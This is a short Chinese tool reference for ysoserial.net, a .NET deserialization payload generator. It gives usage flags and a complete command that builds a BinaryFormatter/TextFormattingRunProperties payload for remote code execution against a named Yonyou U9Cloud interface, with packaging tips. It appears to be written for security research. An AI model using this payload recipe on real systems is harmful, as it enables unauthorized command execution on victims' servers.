概述:ysoserial.net —— .NET 反序列化漏洞 payload 生成器,.NET 反序列化 测试的常用工具。
项目信息
- 仓库:https://github.com/pwntester/ysoserial.net
- 描述:Deserialization payload generator for a variety of .NET formatters(支持多种 .NET 序列化格式的反序列化 payload 生成器)
- 环境:Windows / .NET Framework
基本用法
text
ysoserial.exe -f <formatter> -g <gadget> -c <command> -o <output格式>常用参数:
| 参数 | 含义 |
|---|---|
-f | 序列化格式器,如 BinaryFormatter、Json.NET 等 |
-g | gadget 链,如 TextFormattingRunProperties |
-c | 要执行的命令 |
-o | 输出格式(raw / base64 等) |
实战示例
生成 BinaryFormatter 反序列化载荷(用于 用友U9Cloud 数据迁移接口 RCE):
bash
ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -c "cmd /c whoami > C:\temp\pwned.txt" -o raw > payload.rawTextFormattingRunProperties gadget 内部借助 WPF ObjectDataProvider,在反序列化求值时反射调用 Process.Start 执行命令。
相关实战
- 【LDYVUL-2026-00173733】用友U9Cloud数据迁移接口BinaryFormatter反序列化RCE —— BinaryFormatter + TextFormattingRunProperties,payload 需再打包为 ZIP 单 entry 的 .bin
WARNING
本文仅供安全研究与学习参考,请勿用于未授权测试。